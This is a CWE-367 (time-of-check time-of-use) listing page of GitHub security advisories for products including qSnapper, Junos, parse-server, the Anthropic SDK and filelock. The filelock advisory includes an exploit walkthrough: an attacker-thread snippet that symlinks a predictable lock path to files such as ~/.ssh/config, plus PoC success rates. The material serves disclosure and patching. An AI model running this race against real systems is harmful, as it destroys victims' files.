CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1063 vulnerabilities reference this CWE, most recent first.
GHSA-W4QV-M9PP-3XJR
Vulnerability from github – Published: 2026-06-22 18:34 – Updated: 2026-06-22 18:34A time-to-check-time-of-use in polkit authentication of qSnapper before version 1.3.3 allowed a local attacker to bypass qSnappers authentication mechanism and operate e.g. as root user.
{
"affected": [],
"aliases": [
"CVE-2026-41045"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-22T16:16:34Z",
"severity": "HIGH"
},
"details": "A time-to-check-time-of-use in polkit authentication of qSnapper before version 1.3.3 allowed a local attacker to bypass qSnappers authentication mechanism and operate e.g. as root user.",
"id": "GHSA-w4qv-m9pp-3xjr",
"modified": "2026-06-22T18:34:14Z",
"published": "2026-06-22T18:34:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41045"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1261795"
},
{
"type": "WEB",
"url": "https://github.com/presire/qSnapper/releases/tag/v1.3.3"
},
{
"type": "WEB",
"url": "https://security.opensuse.org/2026/05/26/qsnapper-dbus-issues.html#issue-polkit-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W56X-HJ26-MQ65
Vulnerability from github – Published: 2022-05-24 17:27 – Updated: 2022-05-24 17:27A TOCTOU mismatch in the NFS client code in the Linux kernel before 5.8.3 could be used by local attackers to corrupt memory or possibly have unspecified other impact because a size check is in fs/nfs/nfs4proc.c instead of fs/nfs/nfs4xdr.c, aka CID-b4487b935452.
{
"affected": [],
"aliases": [
"CVE-2020-25212"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-09T16:15:00Z",
"severity": "MODERATE"
},
"details": "A TOCTOU mismatch in the NFS client code in the Linux kernel before 5.8.3 could be used by local attackers to corrupt memory or possibly have unspecified other impact because a size check is in fs/nfs/nfs4proc.c instead of fs/nfs/nfs4xdr.c, aka CID-b4487b935452.",
"id": "GHSA-w56x-hj26-mq65",
"modified": "2022-05-24T17:27:41Z",
"published": "2022-05-24T17:27:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25212"
},
{
"type": "WEB",
"url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.8.3"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b4487b93545214a9db8cbf32e86411677b0cca21"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00025.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00032.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/10/msg00034.html"
},
{
"type": "WEB",
"url": "https://twitter.com/grsecurity/status/1303370421958578179"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4525-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4527-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4578-1"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00021.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00035.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00042.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5Q5-7F2P-X4HM
Vulnerability from github – Published: 2026-01-15 21:31 – Updated: 2026-02-25 18:31A Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in the method to collect FPC Ethernet firmware statistics of Juniper Networks Junos OS on MX10k Series allows a local, low-privileged attacker executing the 'show system firmware' CLI command to cause an LC480 or LC2101 line card to reset.
On MX10k Series systems with LC480 or LC2101 line cards, repeated execution of the 'show system firmware' CLI command can cause the line card to crash and restart. Additionally, some time after the line card crashes, chassisd may also crash and restart, generating a core dump.This issue affects Junos OS on MX10k Series:
- all versions before 21.2R3-S10,
- from 21.4 before 21.4R3-S9,
- from 22.2 before 22.2R3-S7,
- from 22.4 before 22.4R3-S6,
- from 23.2 before 23.2R2-S2,
- from 23.4 before 23.4R2-S3,
- from 24.2 before 24.2R2.
{
"affected": [],
"aliases": [
"CVE-2026-21912"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-15T21:16:07Z",
"severity": "MODERATE"
},
"details": "A Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in the method to collect FPC Ethernet firmware statistics\u00a0of Juniper Networks Junos OS on MX10k Series allows a local, low-privileged attacker executing the \u0027show system firmware\u0027 CLI command to cause an LC480 or LC2101 line card to reset.\n\nOn MX10k Series systems with LC480 or LC2101 line cards, repeated execution of the \u0027show system firmware\u0027 CLI command can cause the line card to crash and restart. Additionally, some time after the line card crashes, chassisd may also crash and restart, generating a core dump.This issue affects Junos OS on MX10k Series:\u00a0\n\n\n\n * all versions before 21.2R3-S10,\u00a0\n * from 21.4 before 21.4R3-S9,\u00a0\n * from 22.2 before 22.2R3-S7,\u00a0\n * from 22.4 before 22.4R3-S6,\u00a0\n * from 23.2 before 23.2R2-S2,\u00a0\n * from 23.4 before 23.4R2-S3,\u00a0\n * from 24.2 before 24.2R2.",
"id": "GHSA-w5q5-7f2p-x4hm",
"modified": "2026-02-25T18:31:27Z",
"published": "2026-01-15T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21912"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA106011"
},
{
"type": "WEB",
"url": "https://supportportal.juniper.net/JSA106011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-W5W3-37X5-78HG
Vulnerability from github – Published: 2025-06-03 06:31 – Updated: 2025-06-03 06:31Memory corruption while processing INIT and multimode invoke IOCTL calls on FastRPC.
{
"affected": [],
"aliases": [
"CVE-2025-21485"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-03T06:15:26Z",
"severity": "HIGH"
},
"details": "Memory corruption while processing INIT and multimode invoke IOCTL calls on FastRPC.",
"id": "GHSA-w5w3-37x5-78hg",
"modified": "2025-06-03T06:31:15Z",
"published": "2025-06-03T06:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21485"
},
{
"type": "WEB",
"url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W6FG-5CG7-V6WJ
Vulnerability from github – Published: 2022-05-24 17:23 – Updated: 2022-05-24 17:23Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 5.2.44, prior to 6.0.24 and prior to 6.1.12. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2020-14674"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-15T18:15:00Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 5.2.44, prior to 6.0.24 and prior to 6.1.12. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).",
"id": "GHSA-w6fg-5cg7-v6wj",
"modified": "2022-05-24T17:23:30Z",
"published": "2022-05-24T17:23:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14674"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202101-09"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-20-896"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00068.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00079.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W6XC-G9QJ-VP32
Vulnerability from github – Published: 2026-07-06 20:25 – Updated: 2026-07-06 20:25The safe_traversal module in uutils coreutils, which provides protection against Time-of-Check to Time-of-Use (TOCTOU) symlink races using file-descriptor-relative syscalls, is incorrectly limited to Linux targets. On other Unix-like systems such as macOS and FreeBSD, the utility fails to utilize these protections, leaving directory traversal operations vulnerable to symlink race conditions.
Zellic finding 3.59. Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "uucore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35362"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:25:15Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "The safe_traversal module in uutils coreutils, which provides protection against Time-of-Check to Time-of-Use (TOCTOU) symlink races using file-descriptor-relative syscalls, is incorrectly limited to Linux targets. On other Unix-like systems such as macOS and FreeBSD, the utility fails to utilize these protections, leaving directory traversal operations vulnerable to symlink race conditions.\n\n---\n_Zellic finding 3.59. Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
"id": "GHSA-w6xc-g9qj-vp32",
"modified": "2026-07-06T20:25:15Z",
"published": "2026-07-06T20:25:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/security/advisories/GHSA-w6xc-g9qj-vp32"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35362"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/9792"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/commit/30239e69a328e76d2377f2a0bc02fbde61c34280"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "uucore: safe_traversal TOCTOU protection only enabled on Linux"
}
GHSA-W73W-G5XW-RWHF
Vulnerability from github – Published: 2026-03-29 15:23 – Updated: 2026-03-31 18:51Impact
An attacker who possesses a valid authentication provider token and a single MFA recovery code or SMS one-time password can create multiple authenticated sessions by sending concurrent login requests via the authData login endpoint. This defeats the single-use guarantee of MFA recovery codes and SMS one-time passwords, allowing session persistence even after the legitimate user revokes detected sessions.
Patches
The fix adds optimistic locking to the authData login path, ensuring that concurrent database updates for the same user fail when the original MFA token array has already been modified by another request.
Workarounds
There is no known workaround.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.7.0-alpha.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.64"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34224"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:23:03Z",
"nvd_published_at": "2026-03-31T15:16:18Z",
"severity": "LOW"
},
"details": "### Impact\n\nAn attacker who possesses a valid authentication provider token and a single MFA recovery code or SMS one-time password can create multiple authenticated sessions by sending concurrent login requests via the authData login endpoint. This defeats the single-use guarantee of MFA recovery codes and SMS one-time passwords, allowing session persistence even after the legitimate user revokes detected sessions.\n\n### Patches\n\nThe fix adds optimistic locking to the authData login path, ensuring that concurrent database updates for the same user fail when the original MFA token array has already been modified by another request.\n\n### Workarounds\n\nThere is no known workaround.",
"id": "GHSA-w73w-g5xw-rwhf",
"modified": "2026-03-31T18:51:40Z",
"published": "2026-03-29T15:23:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-w73w-g5xw-rwhf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34224"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10326"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10327"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/commit/661f160edac8daac0486bc94413cf9652876ab92"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/commit/e7efbebba398ce6abe5b6b6fb9829c6ebe310fbf"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server has an MFA single-use token bypass via concurrent authData login requests"
}
GHSA-W7RC-VVGX-PJ45
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-11 16:14Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-xq94-r468-qwgj. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.4.10 contains a server-side request forgery vulnerability in browser navigation policy that allows attackers to bypass hostname validation through DNS rebinding attacks. Attackers can exploit inconsistent hostname resolution between validation and actual network requests to pivot to internal resources via unallowlisted hostname URLs.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T16:14:58Z",
"nvd_published_at": "2026-05-06T20:16:34Z",
"severity": "MODERATE"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xq94-r468-qwgj. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.10 contains a server-side request forgery vulnerability in browser navigation policy that allows attackers to bypass hostname validation through DNS rebinding attacks. Attackers can exploit inconsistent hostname resolution between validation and actual network requests to pivot to internal resources via unallowlisted hostname URLs.",
"id": "GHSA-w7rc-vvgx-pj45",
"modified": "2026-05-11T16:14:58Z",
"published": "2026-05-06T21:31:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xq94-r468-qwgj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43582"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/121c452d666d4749744dc2089287d0227aae2ed3"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-dns-rebinding-ssrf-via-hostname-validation-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: Browser SSRF hostname validation could be bypassed by DNS rebinding",
"withdrawn": "2026-05-11T16:14:58Z"
}
GHSA-W828-4QHX-VXX3
Vulnerability from github – Published: 2026-04-01 21:17 – Updated: 2026-04-24 20:59The async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected.
Users on the affected versions are advised to update to the latest version.
Claude SDK for Python thanks hackerone.com/kasthelord for reporting this issue!
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "anthropic"
},
"ranges": [
{
"events": [
{
"introduced": "0.86.0"
},
{
"fixed": "0.87.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34452"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:17:34Z",
"nvd_published_at": "2026-03-31T22:16:20Z",
"severity": "MODERATE"
},
"details": "The async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected.\n\nUsers on the affected versions are advised to update to the latest version.\n\nClaude SDK for Python thanks [hackerone.com/kasthelord](https://hackerone.com/kasthelord) for reporting this issue!",
"id": "GHSA-w828-4qhx-vxx3",
"modified": "2026-04-24T20:59:08Z",
"published": "2026-04-01T21:17:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anthropics/anthropic-sdk-python/security/advisories/GHSA-w828-4qhx-vxx3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34452"
},
{
"type": "WEB",
"url": "https://github.com/anthropics/anthropic-sdk-python/commit/6599043eee6e86dce16953fcd1fd828052052be6"
},
{
"type": "PACKAGE",
"url": "https://github.com/anthropics/anthropic-sdk-python"
},
{
"type": "WEB",
"url": "https://github.com/anthropics/anthropic-sdk-python/releases/tag/v0.87.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Claude SDK for Python: Memory Tool Path Validation Race Condition Allows Sandbox Escape"
}
GHSA-W853-JP5J-5J7F
Vulnerability from github – Published: 2025-12-16 20:52 – Updated: 2025-12-16 20:52Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
- PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
- poetry/tox users: through using virtualenv or filelock on their own.
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
- Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
- Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
- Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (src/filelock/_unix.py:39-44):
def _acquire(self) -> None:
ensure_directory_exists(self.lock_file)
open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate
if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?
open_flags |= os.O_CREAT
fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate
Windows (src/filelock/_windows.py:19-28):
def _acquire(self) -> None:
raise_on_not_writable_file(self.lock_file) # (1) Check writability
ensure_directory_exists(self.lock_file)
flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate
fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate
The Race Window
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file exists? → False
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Windows variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file writable?
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink/junction
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Step-by-Step Attack Flow
1. Attacker Setup:
# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock" # Predictable lock path
victim_file = "/home/victim/.ssh/config" # High-value target
2. Attacker Creates Race Condition:
import os
import threading
def attacker_thread():
# Remove any existing lock file
try:
os.unlink(lock_path)
except FileNotFoundError:
pass
# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")
# Launch attack
threading.Thread(target=attacker_thread).start()
3. Victim Application Runs:
from filelock import UnixFileLock
# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire() # ← VULNERABILITY TRIGGERED HERE
# At this point, /home/victim/.ssh/config is now 0 bytes!
4. What Happens Inside os.open():
On Unix systems, when os.open() is called:
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
struct file *f = path_lookup(pathname); // Resolves symlinks by default!
if (flags & O_TRUNC) {
truncate_file(f); // ← Truncates the TARGET of the symlink
}
return file_descriptor;
}
Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.
Why the Attack Succeeds Reliably
Timing Characteristics:
- Check operation (Path.exists()): ~100-500 nanoseconds
- Symlink creation (os.symlink()): ~1-10 microseconds
- Race window: ~1-5 microseconds (very small but exploitable)
- Thread scheduling quantum: ~1-10 milliseconds
Success factors:
- Tight loop: Running attack in a loop hits the race window within 1-3 attempts
- CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
- No synchronization: No atomic file creation prevents the race
- Symlink speed: Creating symlinks is extremely fast (metadata-only operation)
Real-World Attack Scenarios
Scenario 1: virtualenv Exploitation
# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")
# Result: /home/victim/.bashrc overwritten with:
# home = /usr/bin/python3
# include-system-site-packages = false
# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
Scenario 2: PyTorch Cache Poisoning
# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache
# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")
# Result: Trained ML model checkpoint truncated to 0 bytes
# Impact: Weeks of training lost, ML pipeline DoS
Why Standard Defenses Don't Help
File permissions don't prevent this:
- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the victim's permissions
- The victim process truncates its own file
Directory permissions help but aren't always feasible:
- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories
File locking doesn't prevent this:
- The truncation happens during the open() call, before any lock is acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks
Exploitation Proof-of-Concept Results
From empirical testing with the provided PoCs:
Simple Direct Attack (filelock_simple_poc.py):
- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms
virtualenv Attack (weaponized_virtualenv.py):
- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents
PyTorch Attack (weaponized_pytorch.py):
- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining
Discovered and reported by: George Tsigourakos (@tsigouris007)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "filelock"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68146"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T20:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -\u003e None:\n ensure_directory_exists(self.lock_file)\n open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate\n if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?\n open_flags |= os.O_CREAT\n fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -\u003e None:\n raise_on_not_writable_file(self.lock_file) # (1) Check writability\n ensure_directory_exists(self.lock_file)\n flags = 